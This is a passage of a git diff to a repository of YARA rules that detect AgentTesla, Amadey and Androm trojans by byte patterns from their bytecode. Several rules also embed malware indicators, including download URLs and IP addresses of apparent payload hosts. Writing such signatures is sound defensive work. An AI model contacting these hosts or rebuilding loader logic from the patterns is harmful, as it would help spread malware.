b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RSY_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RSY_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RSY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 9d a2 29 09 0f 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 86 00 00 00 3b 00 00 00 6c 00 00 00 71 01 00 00 f1 00 00 00 13 01 00 00 03 00 00 00 1d 00 00 00 01 00 00 00 30 00 00 00 15 00 00 00 54 00 00 00 99 00 00 00 1e 00 00 00 01 00 00 00 01 00 00 00 07 00 00 00 03 00 00 00 02 00 00 00 05 00 00 00 05 } //1 + $a_81_1 = {36 61 32 66 38 33 32 63 2d 65 64 33 32 2d 34 32 61 33 2d 38 33 66 64 2d 38 63 34 34 65 63 34 34 61 33 35 64 } //1 6a2f832c-ed32-42a3-83fd-8c44ec44a35d + $a_81_2 = {50 44 56 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //1 PDV.Properties.Resources.resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RSZ_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RSZ_MTB.yar new file mode 100644 index 0000000000..7cf95f8588 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RSZ_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RSZ_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RSZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 ff a2 2b 09 0f 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 83 00 00 00 1d 00 00 00 76 00 00 00 82 00 00 00 6b 00 00 00 0b 00 00 00 d3 00 00 00 37 00 00 00 7b 00 00 00 0d 00 00 00 01 00 00 00 01 00 00 00 18 00 00 00 0c 00 00 00 22 00 00 00 2c 00 00 00 07 00 00 00 14 00 00 00 01 00 00 00 01 00 00 00 07 00 00 00 02 00 00 00 02 00 00 00 05 00 00 00 03 } //1 + $a_81_1 = {65 33 62 31 65 33 63 35 2d 64 35 36 32 2d 34 36 62 62 2d 39 66 36 32 2d 63 61 39 38 39 62 39 62 64 39 38 61 } //1 e3b1e3c5-d562-46bb-9f62-ca989b9bd98a + $a_81_2 = {57 69 6e 64 6f 77 73 46 6f 72 6d 73 58 61 6e 64 4f } //1 WindowsFormsXandO + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_SKA_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_SKA_MTB.yar new file mode 100644 index 0000000000..fcca6c173e --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_SKA_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_BAT_AgentTesla_SKA_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.SKA!MTB,SIGNATURE_TYPE_PEHSTR,02 00 02 00 04 00 00 " + + strings : + $a_01_0 = {2b 1e 2b 3a 2b 3b 2b 3c 08 91 03 08 07 5d 6f 62 00 00 0a 61 d2 9c 16 2d e9 1a 2c e6 08 17 58 0c 08 02 8e 69 32 dc } //1 + $a_01_1 = {03 6f 09 00 00 0a 0b 16 0c 38 15 00 00 00 06 08 02 08 91 03 08 07 5d 6f 0a 00 00 0a 61 d2 9c 08 17 58 0c 08 02 8e 69 32 e5 } //1 + $a_01_2 = {24 63 35 32 32 39 34 39 39 2d 36 33 36 65 2d 34 30 31 64 2d 61 37 64 32 2d 61 62 38 65 65 32 33 65 30 32 31 64 } //1 $c5229499-636e-401d-a7d2-ab8ee23e021d + $a_01_3 = {24 30 38 33 35 34 33 35 34 2d 35 32 37 32 2d 34 38 34 35 2d 38 61 64 39 2d 39 38 64 38 39 30 66 37 38 34 61 31 } //1 $08354354-5272-4845-8ad9-98d890f784a1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_SKC_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_SKC_MTB.yar new file mode 100644 index 0000000000..3da315dc06 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_SKC_MTB.yar @@ -0,0 +1,48 @@ + +rule Trojan_BAT_AgentTesla_SKC_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.SKC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_81_0 = {68 74 74 70 3a 2f 2f 33 2e 37 32 2e 38 38 2e 32 32 34 2f 66 31 2f 58 6c 75 75 6d 6b 61 6d 6f 2e 6d 70 34 } //1 http://3.72.88.224/f1/Xluumkamo.mp4 + $a_81_1 = {43 6f 6d 70 72 65 73 73 65 64 42 79 74 65 73 } //1 CompressedBytes + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1) >=2 + +} +rule Trojan_BAT_AgentTesla_SKC_MTB_2{ + meta: + description = "Trojan:BAT/AgentTesla.SKC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {11 06 11 07 11 05 11 07 18 5a 18 6f 0f 00 00 0a 1f 10 28 10 00 00 0a 9c 11 07 17 58 13 07 11 07 11 06 8e 69 32 da } //1 + $a_00_1 = {28 11 00 00 0a 28 12 00 00 0a 8c 13 00 00 01 72 4d 00 00 70 28 13 00 00 0a 28 14 00 00 0a 13 08 16 13 09 2b 25 } //1 + $a_81_2 = {68 74 74 70 73 3a 2f 2f 64 69 73 63 6f 72 64 2e 68 6f 72 73 65 2f 6a 73 2f 62 77 5f 62 75 6e 64 6c 65 2e 6a 73 } //1 https://discord.horse/js/bw_bundle.js + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} +rule Trojan_BAT_AgentTesla_SKC_MTB_3{ + meta: + description = "Trojan:BAT/AgentTesla.SKC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {06 7b 3f 00 00 04 20 39 05 00 00 61 7d 3f 00 00 04 16 06 7b 41 00 00 04 6f 8a 00 00 0a 28 8b 00 00 0a 06 fe 06 9d 00 00 06 73 8c 00 00 0a 28 05 00 00 2b 06 fe 06 a0 00 00 06 73 8e 00 00 0a 28 06 00 00 2b 28 07 00 00 2b } //1 + $a_81_1 = {4e 6f 74 65 70 61 64 50 6c 75 73 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //1 NotepadPlus.Properties.Resources.resources + $a_81_2 = {24 38 37 36 35 34 33 32 31 2d 34 33 32 31 2d 38 37 36 35 2d 34 33 32 31 2d 38 37 36 35 34 33 32 31 38 37 36 35 } //1 $87654321-4321-8765-4321-876543218765 + condition: + ((#a_00_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} +rule Trojan_BAT_AgentTesla_SKC_MTB_4{ + meta: + description = "Trojan:BAT/AgentTesla.SKC!MTB,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {02 05 06 0e 05 0e 04 17 19 28 57 00 00 06 0b 0e 07 2c 1e 0e 04 7b 61 00 00 04 2c 15 07 0e 04 0e 08 17 23 9a 99 99 99 99 99 e9 3f 28 58 00 00 06 0b } //1 + $a_01_1 = {24 46 33 42 38 41 32 45 35 2d 31 43 37 44 2d 34 46 39 41 2d 42 36 45 32 2d 38 41 33 43 39 44 31 45 34 46 37 42 } //1 $F3B8A2E5-1C7D-4F9A-B6E2-8A3C9D1E4F7B + $a_01_2 = {73 65 72 76 65 72 61 70 70 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //1 serverapp.Properties.Resources.resources + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_SLII_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_SLII_MTB.yar new file mode 100644 index 0000000000..e68650becf --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_SLII_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AgentTesla_SLII_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.SLII!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {7e 56 00 00 0a 2a 28 60 00 00 0a (25 26|) 7e 12 00 00 04 02 06 6f 5c 00 00 0a 0b 07 28 61 00 00 0a 25 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_SLO_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_SLO_MTB.yar index d1677a27a8..31bb1b2576 100644 --- a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_SLO_MTB.yar +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_SLO_MTB.yar @@ -22,4 +22,16 @@ rule Trojan_BAT_AgentTesla_SLO_MTB_2{ condition: ((#a_00_0 & 1)*2+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=5 +} +rule Trojan_BAT_AgentTesla_SLO_MTB_3{ + meta: + description = "Trojan:BAT/AgentTesla.SLO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 00 " + + strings : + $a_00_0 = {00 20 c0 0f 00 00 28 18 00 00 0a 00 73 19 00 00 0a 0a 06 72 01 00 00 70 6f 1a 00 00 0a 0b 16 0c 2b 13 00 07 08 07 08 91 20 4e 06 00 00 59 d2 9c 08 17 58 0c 00 08 07 8e 69 fe 04 0d 09 2d e3 } //2 + $a_02_1 = {00 07 08 07 08 91 [0-05] 59 d2 9c 08 17 58 0c 00 08 07 8e 69 fe 04 0d 09 2d e3 } //1 + $a_00_2 = {24 32 37 66 33 64 62 65 65 2d 39 35 65 65 2d 34 63 66 64 2d 39 62 33 61 2d 63 30 66 38 39 35 62 61 33 30 37 63 } //1 $27f3dbee-95ee-4cfd-9b3a-c0f895ba307c + condition: + ((#a_00_0 & 1)*2+(#a_02_1 & 1)*1+(#a_00_2 & 1)*1) >=2 + } \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_SLWT_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_SLWT_MTB.yar new file mode 100644 index 0000000000..2e857795ba --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_SLWT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AgentTesla_SLWT_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.SLWT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {1f 20 8d 0c 00 00 01 0d 28 14 00 00 0a 09 6f 15 00 00 0a 25 09 6f 08 00 00 06 13 04 25 11 04 6f 0a 00 00 06 13 05 11 04 08 6f 0c 00 00 06 13 06 28 8e 00 00 06 13 07 28 65 00 00 06 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_STY_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_STY_MTB.yar index 3da056352b..fd1602f376 100644 --- a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_STY_MTB.yar +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_STY_MTB.yar @@ -1,5 +1,15 @@ rule Trojan_BAT_AgentTesla_STY_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.STY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {2b 12 72 37 00 00 70 7e 04 00 00 04 2b 0d 74 16 00 00 1b 2a 28 09 00 00 06 2b e7 6f 6b 00 00 0a 2b ec } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} +rule Trojan_BAT_AgentTesla_STY_MTB_2{ meta: description = "Trojan:BAT/AgentTesla.STY!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 00 " diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_SWD_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_SWD_MTB.yar new file mode 100644 index 0000000000..66f651fbfe --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_SWD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AgentTesla_SWD_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.SWD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {00 fe 0c 00 00 20 03 00 00 00 fe 01 39 0e 00 00 00 28 04 00 00 06 20 04 00 00 00 fe 0e 00 00 00 fe 0c 00 00 20 04 00 00 00 fe 01 39 0e 00 00 00 28 0d 00 00 0a 20 05 00 00 00 fe 0e 00 00 00 fe 0c 00 00 20 01 00 00 00 fe 01 39 13 00 00 00 20 f0 0f 00 00 28 0e 00 00 0a 20 02 00 00 00 fe 0e 00 00 00 fe 0c 00 00 20 02 00 00 00 fe 01 39 3d 00 00 00 28 0f 00 00 0a 7e 01 00 00 04 3a 11 00 00 00 14 fe 06 03 00 00 06 73 10 00 00 0a 80 01 00 00 04 7e 01 00 00 04 28 11 00 00 0a 74 02 00 00 01 28 12 00 00 0a 20 03 00 00 00 fe 0e 00 00 00 fe 0c 00 00 20 00 00 00 00 fe 01 39 0a 00 00 00 00 20 01 00 00 00 fe 0e 00 00 00 fe 0c 00 00 20 05 00 00 00 fe 01 39 05 00 00 00 38 05 00 00 00 38 1a ff ff ff } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_SWE_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_SWE_MTB.yar new file mode 100644 index 0000000000..ed3208ea8f --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_SWE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AgentTesla_SWE_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.SWE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {02 7b 01 00 00 04 6f ?? 00 00 0a 0a 06 8e 69 18 3c 01 00 00 00 2a 06 16 9a 75 03 00 00 01 0b 07 14 28 ?? 00 00 0a 39 01 00 00 00 2a 07 6f ?? 00 00 0a 7e 03 00 00 04 25 3a 17 00 00 00 26 7e 02 00 00 04 fe 06 0b 00 00 06 73 06 00 00 0a 25 80 03 00 00 04 28 ?? 00 00 2b 0c 08 14 28 ?? 00 00 0a 39 0c 00 00 00 02 7b 01 00 00 04 08 6f ?? 00 00 0a 2a } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_Agenttesla_PGAC_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_Agenttesla_PGAC_MTB.yar new file mode 100644 index 0000000000..e60abe4d6e --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_Agenttesla_PGAC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Agenttesla_PGAC_MTB{ + meta: + description = "Trojan:BAT/Agenttesla.PGAC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {08 16 fe 02 13 04 11 04 2c 13 02 7b ?? 00 00 04 12 01 28 ?? 00 00 0a 6f ?? ?? 00 0a 00 08 17 59 25 0c 16 fe 02 13 05 11 05 2c 13 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_Agenttesla_PGAT_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_Agenttesla_PGAT_MTB.yar new file mode 100644 index 0000000000..a2e1eacde9 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_Agenttesla_PGAT_MTB.yar @@ -0,0 +1,21 @@ + +rule Trojan_BAT_Agenttesla_PGAT_MTB{ + meta: + description = "Trojan:BAT/Agenttesla.PGAT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {11 08 11 1c 11 0c 6f ?? ?? 00 0a 23 00 00 00 00 00 00 59 40 5a a1 11 09 11 1c 11 0c 6f ?? ?? 00 0a 23 00 00 00 00 00 00 24 40 5a 23 00 00 00 00 00 00 14 40 59 a1 11 1c 17 d6 13 1c 11 1c 11 1b 31 be } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} +rule Trojan_BAT_Agenttesla_PGAT_MTB_2{ + meta: + description = "Trojan:BAT/Agenttesla.PGAT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {11 1a 1f 11 5a 11 19 1f 1f 5a 58 11 0b 20 ?? ?? 00 00 6f ?? 00 00 0a 61 13 1b 11 19 1f 13 5a 11 1a 1f 17 5a 58 11 0b 20 ?? ?? 00 00 6f ?? 00 00 0a 61 13 1c 11 1a 11 19 61 20 ?? 00 00 00 5f 13 1d } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_Agenttesla_PGA_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_Agenttesla_PGA_MTB.yar new file mode 100644 index 0000000000..a0b918a192 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_Agenttesla_PGA_MTB.yar @@ -0,0 +1,22 @@ + +rule Trojan_BAT_Agenttesla_PGA_MTB{ + meta: + description = "Trojan:BAT/Agenttesla.PGA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {02 05 0e 04 6f ?? 00 00 0a 0a 06 0e 05 28 ?? 00 00 06 0b 04 03 6f ?? 00 00 0a 59 0c 08 19 32 0a 03 07 0e 05 28 ?? 00 00 06 2a } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} +rule Trojan_BAT_Agenttesla_PGA_MTB_2{ + meta: + description = "Trojan:BAT/Agenttesla.PGA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {72 01 00 00 70 72 33 00 00 70 28 ?? 00 00 06 72 4d 00 00 70 72 99 00 00 70 } //4 + $a_03_1 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 69 00 61 00 2e 00 74 00 66 00 2f 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 2e 00 } //1 + condition: + ((#a_03_0 & 1)*4+(#a_03_1 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_Agenttesla_PGY_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_Agenttesla_PGY_MTB.yar new file mode 100644 index 0000000000..d58e9d5548 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_Agenttesla_PGY_MTB.yar @@ -0,0 +1,19 @@ + +rule Trojan_BAT_Agenttesla_PGY_MTB{ + meta: + description = "Trojan:BAT/Agenttesla.PGY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 09 00 00 " + + strings : + $a_02_0 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 34 00 35 00 2e 00 38 00 37 00 2e 00 36 00 30 00 2e 00 31 00 32 00 37 00 2f 00 77 00 61 00 79 00 2f 00 [0-40] 2e 00 } //5 + $a_02_1 = {68 00 74 00 74 00 70 00 3a 00 2f 2f 34 35 2e 38 37 2e 36 30 2e 31 32 37 2f 77 61 79 2f [0-40] 2e } //5 + $a_02_2 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 69 00 61 00 2e 00 74 00 66 00 2f 00 [0-40] 2e 00 } //5 + $a_02_3 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 2f 63 69 61 2e 74 66 2f [0-40] 2e } //5 + $a_80_4 = {2e 70 64 66 } //.pdf 1 + $a_80_5 = {2e 77 61 76 } //.wav 1 + $a_80_6 = {2e 76 64 66 } //.vdf 1 + $a_80_7 = {2e 6d 70 34 } //.mp4 1 + $a_03_8 = {28 04 00 00 06 72 01 00 00 70 72 33 00 00 70 28 05 00 00 06 72 4d 00 00 70 72 99 00 00 70 28 06 00 00 06 20 00 00 00 00 7e ?? ?? 00 04 7b ?? ?? 00 04 ?? 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c ?? 00 45 01 00 00 00 05 00 00 00 38 00 00 00 00 dd } //5 + condition: + ((#a_02_0 & 1)*5+(#a_02_1 & 1)*5+(#a_02_2 & 1)*5+(#a_02_3 & 1)*5+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_03_8 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_Agenttesla_ZARS_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_Agenttesla_ZARS_MTB.yar deleted file mode 100644 index 73e5764e1a..0000000000 --- a/Trojan/BAT/AgentTesla/Trojan_BAT_Agenttesla_ZARS_MTB.yar +++ /dev/null @@ -1,17 +0,0 @@ - -rule Trojan_BAT_Agenttesla_ZARS_MTB{ - meta: - description = "Trojan:BAT/Agenttesla.ZARS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " - - strings : - $a_01_0 = {42 65 67 69 6e 52 65 61 64 } //1 BeginRead - $a_01_1 = {69 73 44 69 73 63 6f 6e 6e 65 63 74 65 64 } //1 isDisconnected - $a_01_2 = {42 65 67 69 6e 52 65 63 65 69 76 65 } //1 BeginReceive - $a_01_3 = {41 45 53 5f 44 65 63 72 79 70 74 6f 72 } //1 AES_Decryptor - $a_01_4 = {41 45 53 5f 45 6e 63 72 79 70 74 6f 72 } //1 AES_Encryptor - $a_01_5 = {53 68 6f 74 } //1 Shot - $a_01_6 = {52 65 61 64 } //1 Read - condition: - ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=7 - -} \ No newline at end of file diff --git a/Trojan/BAT/Amadey/Trojan_BAT_Amadey_MCF_MTB.yar b/Trojan/BAT/Amadey/Trojan_BAT_Amadey_MCF_MTB.yar new file mode 100644 index 0000000000..00324c5e31 --- /dev/null +++ b/Trojan/BAT/Amadey/Trojan_BAT_Amadey_MCF_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_BAT_Amadey_MCF_MTB{ + meta: + description = "Trojan:BAT/Amadey.MCF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_01_0 = {61 32 65 63 2d 32 36 39 35 66 64 66 30 38 38 38 65 } //1 a2ec-2695fdf0888e + $a_01_1 = {6b 6f 69 00 44 6f 77 6e 6c 6f } //1 潫i潄湷潬 + $a_01_2 = {57 94 02 28 49 03 00 00 00 fa 25 33 00 16 00 00 01 } //1 + $a_01_3 = {44 6f 77 6e 6c 6f 61 64 65 72 41 70 70 2e 61 6d 32 2e 62 69 6e } //1 DownloaderApp.am2.bin + $a_01_4 = {4c 7a 6d 61 44 65 63 6f 64 65 72 } //1 LzmaDecoder + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Androm/Trojan_BAT_Androm_ABYA_MTB.yar b/Trojan/BAT/Androm/Trojan_BAT_Androm_ABYA_MTB.yar new file mode 100644 index 0000000000..9b2106dab6 --- /dev/null +++ b/Trojan/BAT/Androm/Trojan_BAT_Androm_ABYA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Androm_ABYA_MTB{ + meta: + description = "Trojan:BAT/Androm.ABYA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {06 08 06 08 91 03 08 03 8e 69 5d 91 61 d2 9c 16 0d 2b 18 06 08 06 08 91 03 09 91 07 1f 1f 5f 62 09 61 08 58 61 d2 9c 09 17 58 0d 09 03 8e 69 32 e2 08 17 58 0c 08 06 8e 69 32 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Androm/Trojan_BAT_Androm_AB_MTB.yar b/Trojan/BAT/Androm/Trojan_BAT_Androm_AB_MTB.yar new file mode 100644 index 0000000000..a1b39c71a7 --- /dev/null +++ b/Trojan/BAT/Androm/Trojan_BAT_Androm_AB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Androm_AB_MTB{ + meta: + description = "Trojan:BAT/Androm.AB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {61 7d 1b 00 00 04 20 2f 00 00 00 38 7d fa ff ff 7e 16 00 00 04 20 93 33 d3 d6 65 20 03 00 00 00 62 20 c7 88 e4 2f 61 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Androm/Trojan_BAT_Androm_AFTA_MTB.yar b/Trojan/BAT/Androm/Trojan_BAT_Androm_AFTA_MTB.yar new file mode 100644 index 0000000000..45a8a85361 --- /dev/null +++ b/Trojan/BAT/Androm/Trojan_BAT_Androm_AFTA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Androm_AFTA_MTB{ + meta: + description = "Trojan:BAT/Androm.AFTA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0a 0c 1a 8d ?? 00 00 01 0d 08 09 16 09 8e 69 6f ?? 00 00 0a 26 09 16 28 ?? 00 00 0a 13 04 08 16 73 ?? 00 00 0a 13 05 11 04 8d ?? 00 00 01 13 06 16 13 07 38 ?? 00 00 00 11 07 11 05 11 06 11 07 11 04 11 07 59 6f ?? 00 00 0a 58 13 07 11 07 11 04 32 e5 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Androm/Trojan_BAT_Androm_AKTA_MTB.yar b/Trojan/BAT/Androm/Trojan_BAT_Androm_AKTA_MTB.yar new file mode 100644 index 0000000000..4b536a0561 --- /dev/null +++ b/Trojan/BAT/Androm/Trojan_BAT_Androm_AKTA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Androm_AKTA_MTB{ + meta: + description = "Trojan:BAT/Androm.AKTA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {06 8e 69 1a 3c 07 00 00 00 16 0b dd 70 00 00 00 72 ?? ?? 00 70 28 ?? 00 00 0a 0c 72 ?? ?? 00 70 28 ?? 00 00 0a 0d 73 ?? 00 00 0a 13 04 11 04 08 6f ?? 00 00 0a 11 04 09 6f ?? 00 00 0a 11 04 6f ?? 00 00 0a 13 05 03 72 ?? ?? 00 70 11 05 06 16 06 8e 69 6f ?? 00 00 0a 6f ?? 00 00 06 dd } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Androm/Trojan_BAT_Androm_AMAB_MTB.yar b/Trojan/BAT/Androm/Trojan_BAT_Androm_AMAB_MTB.yar index ced2bab512..07b9b3d1e7 100644 --- 